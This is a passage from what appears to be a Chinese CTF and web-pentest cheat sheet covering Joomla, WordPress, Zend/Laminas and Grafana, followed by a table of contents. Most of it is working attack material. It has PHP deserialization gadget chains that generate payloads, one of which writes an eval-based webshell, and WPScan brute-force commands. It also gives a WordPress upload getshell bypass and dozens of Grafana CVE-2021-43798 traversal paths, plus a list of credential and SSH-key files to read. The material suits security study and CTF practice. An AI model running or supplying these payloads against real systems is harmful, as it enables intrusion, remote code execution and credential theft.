            $a = function(){phpinfo();};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->value=$b;
        }
    }
}

Joomla!

3.x

<3.4.6
- 反序列化（+1.5.x/2.x）
  joomla_exp

Wordpress

扫描器 WPScan

扫描站点：wpscan --url http://xxxx

扫描主题：wpscan --url http://xxxx --enumerate t

扫描主题存在漏洞：wpscan --url http://xxxx --enumerate vt

扫描安装插件：wpscan --url http://xxxx --enumerate p

扫描安装插件漏洞：wpscan --url http://xxxx --enumerate vp

枚举用户：wpscan --url http://xxxx --enumerate u

暴力破解：

wpscan --url http://xxxx --wordlist 密码字典 --username 用户名或者密码字典

wpscan --url xxxx -P /root/Desktop/top10000.txt -U admin

插件

sp-client-document-manager
CVE-2021-24347 Getshell
直接上传，后缀名大小写绕过，上传后路径为wp-content/uploads/sp-client-document-manager/[user_id]/[file_name]，admin的userid为1
moodle
https://github.com/HoangKien1020/Moodle_RCE
User Meta
CVE-2022-0779
simple-link-directory
CVE-2022-0760
https://wpscan.com/vulnerability/1c83ed73-ef02-45c0-a9ab-68a3468d2210

Zend

Zend FrameWork Pop Chain

zend framework 1

反序列化

<?php

class Zend_Mail
{

}
class Zend_Log
{
    protected $_writers;
    function __construct()
    {
        $this->_writers = [new Zend_Log_Writer_Mail()];
    }

}

class Zend_Log_Writer_Mail
{

    protected $_eventsToMail;
    protected $_mail;
    protected $_layoutEventsToMail;
    protected $_layout;
    function __construct()
    {
        $this->_mail = new Zend_Mail();
        $this->_eventsToMail = [1];
        $this->_layoutEventsToMail = "";
        $this->_layout = new Zend_Config_Writer_Yaml();
    }
}

class Zend_CodeGenerator_Php_File
{
    protected $_filename;
    protected $_body;
    function __construct()
    {
        $this->_filename = "a.php";
        $this->_body = '@eval(base64_decode($_POST[1]));';
    }
}

class Zend_Config
{
    protected $_data;
    protected $_loadedSection;
    protected $_extends;
    function __construct()
    {
        $this->_loadedSection = "Mrkaixin";
        $this->_data = [];
        $this->_extends = "Mrkaixin";
    }
}

class Zend_Config_Writer_Yaml
{
    protected $events;
    protected $_config;
    protected $_yamlEncoder;
    function __construct()
    {
        $this->events = "Mrkaixin";
        $this->_config = new Zend_Config();
        $this->_yamlEncoder = [new Zend_CodeGenerator_Php_File(), 'write'];
    }
}

echo base64_encode(serialize(new Zend_Log()));

Laminas

Zend FrameWork Pop Chain

入口

action: http://your-ip/public/index.php/application[/:action]

zend framework 4

反序列化+RCE

<?php
namespace Zend\View\Renderer;
use Zend\Config\Config;

class PhpRenderer
{
    function __construct()
    {
        $this->__helpers = new Config();
    }

}
namespace Zend\Config;

class Config {
    protected $data = [];
    function __construct()
    {
        $this->data = ['shutdown'=>"phpinfo"];
    }
}

namespace Zend\Log;

use Zend\View\Renderer\PhpRenderer;

class Logger
{
    protected $writers;
    function __construct()
    {
        $this->writers = [new PhpRenderer()];
    }

}
echo base64_encode(serialize(new Logger()));

<?php
namespace Laminas\View\Resolver{
    class TemplateMapResolver{
        protected $map = ["setBody"=>"system"];
    }
}
namespace Laminas\View\Renderer{
    class PhpRenderer{
        private $__helpers;
        function __construct(){
            $this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
        }
    }
}

namespace Laminas\Log\Writer{
    abstract class AbstractWriter{}
    class Mail extends AbstractWriter{
        protected $eventsToMail = ["ls"];  
        protected $subjectPrependText = null;
        protected $mail;
        function __construct(){
            $this->mail = new \Laminas\View\Renderer\PhpRenderer();
        }
    }
}

namespace Laminas\Log{
    class Logger{
        protected $writers;
        function __construct(){
            $this->writers = [new \Laminas\Log\Writer\Mail()];
        }
    }
}

namespace{
$a = new \Laminas\Log\Logger();
echo base64_encode(serialize($a));
}

Grafana

重要文件

/usr/sbin/grafana-server
/etc/init.d/grafana-server
/etc/default/grafana-server
/etc/grafana/grafana.ini
/var/log/grafana/grafana.log
/var/lib/grafana/grafana.db
/usr/share/grafana

/conf/defaults.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline

2.6.0

任意文件读取

CVE-2021-43798

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

Lazzaro

CTF弱鸡自进阶

CMS

ThinkPHP

版本

日志

控制器

工具

2.x

3.2.x

5.0.x

5.1.x

6.0.x

Laravel

版本

5.1

5.4.x

5.7.x

7.x

8.x

9.x

Yii

版本

2.0.x

Joomla!

3.x

Wordpress

扫描器 WPScan

插件

Zend

zend framework 1

Laminas

入口

zend framework 4

Grafana

重要文件

2.6.0